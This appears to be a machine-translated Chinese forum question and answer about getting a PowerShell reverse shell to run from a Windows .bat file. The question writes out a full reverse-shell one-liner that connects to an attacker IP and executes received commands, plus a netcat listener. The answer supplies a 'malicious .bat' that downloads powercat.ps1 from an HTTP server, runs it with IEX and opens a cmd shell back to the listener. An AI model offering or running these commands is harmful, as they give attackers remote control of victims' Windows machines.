我正在尝试使用.bat
文件运行以下反向Shell PowerShell命令。
powershell /w 1 "$c=new-object system.net.sockets.tcpclient('192.168.0.66',4777);$s=$c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|out-string);$z=$o + 'hacker> ' + (pwd).Path + '> ';$x = ([text.encoding]::ASCII).GetBytes($z);$s.Write($x,0,$x.Length);$s.Flush};$c.close()"
首先,我在Kali中启动netcat侦听器:
nc -vv -l -p 4777
然后运行PowerShell命令,但在Windows 10中出现以下错误:
At line:1 char:112
+ ... 168.0.66',4777);$s=$c.GetStream();[byte[]]$b = 0..65535|:ASCII).GetByte ...
+ ~
Unexpected token ')' in expression or statement.
At line:1 char:160
+ ... 65535|:ASCII).GetBytes($z);$s.Write($x,0,$x.Length);$s.Flush};$c.clos ...
+ ~
Unexpected token '}' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
我已经尝试并在命令中包含很多可能的'
,"
和```combinations和variations。我完全迷住了。
发现自己遇到了同样的问题。我想知道为什么如果在.bat文件中执行的命令在CMD中没有错误运行,那么该命令将无法正常运行。我一点都没有意义。
我发现最简单的解决方法是将命令保存到.ps1中,创建HTTP服务器并下载并执行它。我使用了在这里找到的关于powercat的示例:
https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/
git clone git clone https://github.com/besimorhino/powercat.git
cd powercat
python3 -m http.server 80
The恶意.bat文件将是这样的,具有相应的IP和端口修改:
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/powercat.ps1');powercat -c 192.168.1.109 -p 1234 -e cmd"
当易受攻击的服务器执行恶意文件.bat时,它将下载powercat.ps1并针对netcat侦听器运行它。